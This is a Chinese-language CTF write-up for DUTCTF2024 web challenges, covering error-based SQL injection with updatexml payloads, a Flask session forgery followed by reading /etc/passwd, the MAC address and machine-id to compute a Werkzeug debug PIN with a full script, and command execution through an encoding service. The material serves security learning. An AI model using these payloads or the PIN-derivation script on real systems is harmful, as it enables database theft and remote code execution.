DUTCTF2024复现

WEB

数据库初学者 :disappointed:

我知道这是sql注入,但唯独就没有往报错注入考虑,一直给我语法报错我还以为是哪写的不对……:sob::sob::sob:

:::info

报错注入常用的函数updatexml的简单了解

updatexml(xml_doument,XPath_string,new_value)

第一个参数是xml文件的内容,格式一般为string

第二个参数是文件需要更新的位置,即Xpath路径

第三个参数是文件更新后的内容

所以在采用报错注入的时候,第一个和第三个是随便写的,至于第二个嘛,就是注入的位置,待会看看Xpath

:::

一个简单的登录系统想要检查有无漏洞就需要最朴素的检测方式

引号闭合

这里测字段不多说,1‘ order by 1#即可(有3个字段)

报错注入试试

1' and updatexml(0,concat(0x7e,database()),0)#

然后就是正常的爆列表爆字段了

1' and updatexml(0,concat(0x7e,substr((select table_name from information_schema.tables where table_schema = 'FreakingData' limit 0,1),1,40)),0)#

==(limit 0,1这一部分指的是全表扫描到第0条后截取一条数据,所以会存在只有一条数据的情况)==

1' and updatexml(0,concat(0x7e,substr((select column_name from information_schema.columns where table_name = 'SPRING_SESSION' limit 0,1),1,40)),0)#

1' and updatexml(0,concat(0x7e,substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,40)),0)#

1' and updatexml(0,concat(0x7e,substr((select password from users limit 0,1),1,40)),0)#

==(这一步会导致flag显示不全的原因是报错内容的长度限制为32,所以可以利用substr函数的特性,改变截取字符串的起点终点)==

Flask File Manager

开始时账号密码藏的稍微有点隐蔽,原本想要sql注入,但失败了

经过测试,才知道账号为ctfer,密码为dutctf_2024_> _<(有个空格,把它忽略掉,估计是Markdown的一些冲突)

这里我不说废话,直接开门见山,讲一下我认为不可行的路径

首先是传:horse:,这里传入一句话木马上去之后想要读取1.php,但会报permission denied

或者说你想进入upload目录,但是路由没有,说明文件不在我们常见的目录下

目前有点一筹莫展的

做题时无意间找到出题人留下的题目文件

发现app.py有个error路由,且这题与flask有关,猜测可能是flask报错引起的漏洞

成功进入到debug模式

显然,一道flask pin的题目

+++info 谈谈flask pin

为了得到pin码,我们需要以下6个值

  1. flask登录的用户名
  2. modname
  3. getaddr(app,”name”,app.class.name)
  4. flask库下app.py的绝对路径
  5. 当前网络mac地址的十进制数
  6. docker机器的id

+++

一些敏感信息我们是需要较高权限才能读取,显然我们的权限不够

这里给出app.py

行高亮
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
from flask import Flask, render_template, request, redirect, url_for, session, jsonify, abort
import os
import json

app = Flask(__name__)

# 从文件中读取密钥
SECRET_KEY_FILE = 'SECRETKEY'
with open(SECRET_KEY_FILE, 'r') as f:
app.secret_key = f.read().strip()

# 文件存储路径
USER_DATA_FILE = 'user_data.json'

# 上传文件保存的目录
UPLOAD_FOLDER = '/upload'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

# 检查用户权限
def check_permission(username, file_path):
with open(USER_DATA_FILE, 'r') as f:
user_data = json.load(f)
if username in user_data:
permissions = user_data[username].get('permissions', [])
for path, access in permissions.items():
if file_path.startswith(path) and access == 'read':
return True
return False

# 读取文件内容
def read_file(file_path, username):
if check_permission(username, file_path):
try:
with open(file_path, 'r') as f:
return f.read()
except FileNotFoundError:
return 'File not found.'
else:
return 'Permission denied.'

# 登录路由
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
with open('user_data.json', 'r') as f:
user_data = json.load(f)
if username in user_data and user_data[username]['password'] == password:
session['logged_in'] = True
session['username'] = username
session['is_admin'] = user_data[username].get('is_admin', False) # 从user_data.json中读取用户是否为管理员信息
return redirect(url_for('file_reader'))
else:
return 'Invalid username/password'
return render_template('login.html')


# 验证用户身份
def authenticate_user(username, password):
with open(USER_DATA_FILE, 'r') as f:
user_data = json.load(f)
if username in user_data:
return user_data[username]['password'] == password
return False

# 文件管理器路由
@app.route('/file_reader', methods=['GET', 'POST'])
def file_reader():
if not session.get('logged_in'):
return redirect(url_for('login'))

if request.method == 'POST':
file_path = request.form['file_path']

# 检查目录路径是否合法
if file_path != '/' and (not all(char.isalnum() or char in ['/', '_', '-', '.'] for char in file_path) or '..' in file_path):
abort(400, 'Invalid directory path')

# 检查目录路径是否包含 'flag'
if 'flag' in file_path:
abort(400, 'Nah, flag not allowed')

# 检查用户是否有权限访问特定文件或目录
if not check_permissions(file_path, session['username']):
abort(403, 'You are not authorized to read this file')

file_content = read_file(file_path, session['username'])

# 检查文件内容是否为空,如果为空则文件不存在
if not file_content:
abort(404, 'File not found')

return render_template('file_reader.html', file_content=file_content)

return render_template('file_reader.html', file_content=None)

# 退出登录路由
@app.route('/logout')
def logout():
session.pop('logged_in', None)
session.pop('username', None)
return redirect(url_for('login'))

# 获取权限页面路由
@app.route('/get_user_permissions', methods=['GET', 'POST'])
def get_user_permissions():
if request.method == 'GET':
# 渲染模板并传递用户列表
with open('user_data.json', 'r') as f:
user_data = json.load(f)
users = list(user_data.keys())
return render_template('get_user_permissions.html', users=users)

elif request.method == 'POST':
# 获取POST请求中选择的用户
selected_user = request.form['user']

# 从 JSON 文件中读取用户信息
with open('user_data.json', 'r') as f:
user_data = json.load(f)

# 获取特定用户的权限配置
permissions = user_data.get(selected_user, {}).get('permissions', {})

return jsonify(permissions)

# 更新权限页面路由
@app.route('/update_permissions', methods=['GET', 'POST'])
def update_permissions():
if not session.get('logged_in'):
return redirect(url_for('login'))

if not session.get('is_admin'):
abort(403, 'User not allowed')

# 从 JSON 文件中读取用户信息
with open('user_data.json', 'r') as f:
user_data = json.load(f)

if request.method == 'GET':
# 如果用户不是管理员,只允许修改自己的权限
if not session.get('is_admin'):
users = [session['username']]
else:
users = [user for user, data in user_data.items()]
# 提取所有非管理员用户的用户名
# users = [user for user, data in user_data.items() if not data['is_admin']]
return render_template('update_permissions.html', users=users)

elif request.method == 'POST':
# 获取表单数据
user = request.form['user']
path = request.form['path']
access = request.form['access']

# 检查新添加的目录路径是否只包含 '/'、'_'、'-'数字和字母,且以'/'结尾
if path != '/' and not (path.endswith('/') and all(char.isalnum() or char in ['/', '_', '-'] for char in path[:-1])):
abort(400, 'Invalid directory path')

# 检查新添加的目录路径是否包含 'flag'
if 'flag' in path:
abort(400, 'Nah, flag not allowed')

# 如果用户不是管理员,只允许修改自己的权限
if not session.get('is_admin') and user != session['username']:
abort(403, "You are not authorized to modify other users' permissions")

# 检查添加的目录是否与已存在的目录相同
if path in user_data[user]['permissions']:
abort(400, "Directory already exists")

# 更新用户权限
user_data[user]['permissions'][path] = access
with open('user_data.json', 'w') as f:
json.dump(user_data, f, indent=4)

return redirect('/update_permissions')

# 文件上传路由
@app.route('/file_uploader', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
abort(400, 'No file part')

file = request.files['file']

if file.filename == '':
abort(400, 'No selected file')

if not all(char.isalnum() or char in ['.', '_', '-'] for char in file.filename):
abort(400, 'Invalid filename')

# 检查目录下是否已经存在同名文件
target_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
if os.path.exists(target_path):
abort(400, "File already existed")

if file:
file.save(target_path)
return 'File uploaded successfully'

# 如果是 GET 请求,则返回文件上传页面
return render_template('file_uploader.html')


# 根路径重定向至登录页面
@app.route('/')
def index():
return redirect(url_for('login'))

def check_permissions(file_path, username):
# 检查用户是否有权限访问特定文件或目录

# 从 JSON 文件中读取用户信息
with open('user_data.json', 'r') as f:
user_data = json.load(f)

# 获取用户的权限配置
user_permissions = user_data.get(username, {}).get('permissions', {})

# 检查文件路径是否与用户权限配置中的某个路径匹配
for permission_path in user_permissions.keys():
if file_path.startswith(permission_path):
return True

return False

@app.route('/error')
def error():
with open('/flag', 'r') as flag:
flag = flag.read()
assert flag == "dutctf{Fak3_fl@g_2333}"
return render_template('error.html')

if __name__ == '__main__':
# 初始化用户数据文件
if not os.path.exists(USER_DATA_FILE):
with open(USER_DATA_FILE, 'w') as f:
json.dump({}, f)
app.run(host='0.0.0.0', port='5000', debug=True)

注意到/update_permissions有对管理员的身份进行检测,且开头处给出了secretkey,猜测有flask session伪造

先decode

根据提示,来到出题人的github中,找到相关题目的commit

找到SECRET_KEY

然后把相关权限改一下之后加密

然后update permissions

把根目录的读权限交给ctfer

然后根据解pin码的需求找到6个相关的数据

读取/etc/passwd

flask登录的用户名是root

modname默认值为flask.app

appname默认值为Flask

moddir(flask下的绝对路径)可以通过报错界面来得知:/usr/local/lib/python3.9/site-packages/flask/app.py

网络mac可以通过/sys/class/net/eth0/address获得

中间冒号去掉后得到的数转换为十进制就是我们需要的值:2485376909319

docker机器的id可以通过/etc/machine-id或者/proc/sys/kernel/random/boot_id得到:c5391a8d-9aa2-4478-9b74-012e3e76e356

六个值都得到了,现在来写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
'root'
'flask.app',
'Flask',
'/usr/local/lib/python3.9/site-packages/flask/app.py'
]

private_bits = [
'2485376909319',
'c5391a8d-9aa2-4478-9b74-012e3e76e356' # 按道理来说这里是machine_id或者boot_id与/proc/self/cgroup,但我访问之后却发现是空,所以我直接把boot_id放上去了,不影响解题
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

解出pin码后应该就可以通过了

读取flag

WeirdBash

一个简单的编码系统,先看看能得出什么

经过数次编码,推测是每个字母数字符号都有一个唯一的noob编码,组合起来的字符串在编码后变成每个字符编码连起来的形式

尝试输入敏感命令,但都只是被编码,没有任何多余的操作

考虑输入一些敏感信息,如flag,/etc/passwd等

输入dutctf发现奇怪的编码

猜测是一个含有敏感信息的语句

这个可以一个个字符输出来作为对照表,也可以写脚本直接秒

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
from bs4 import BeautifulSoup

# 函数用于发送POST请求并获取编码值
def get_encoded_value(input_char):
url = "http://10.7.37.200:10166/encode"
data = {'input_string': input_char}
response = requests.post(url, data=data)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
encoded_value = soup.find('pre').text # 根据实际返回的HTML结构调整
return encoded_value
else:
return "Error"

# ASCII字符范围从32到126
start_ascii = 32
end_ascii = 126

# 输出文件名
output_file = 'encoded_values.txt'

with open(output_file, 'w') as file:
for i in range(start_ascii, end_ascii + 1):
char = chr(i)
encoded_value = get_encoded_value(char)
# 格式化字符串,如 "0 noob!noob?"
output_line = f"{char} {encoded_value}\n"
file.write(output_line)
print(output_line) # 在控制台输出

这句话大致意思就是让我们进入noob目录下面,有东西

进入到noob目录下

发现是noob解码,可以考虑将命令进行noob编码后再解码得到命令执行后的结果,感觉跟序列化和反序列化的效果差不多{. info}

(这里是ls编码之后的结果)

之后cat /flag即可

Crypto

ez_rsa

test3

鳗什么罐头我说

test4

作者

Ins0mn1a

发布于

2024-03-18

更新于

2024-07-31

许可协议

# 相关文章
  1.NKCTF2024

:D 一言句子获取中...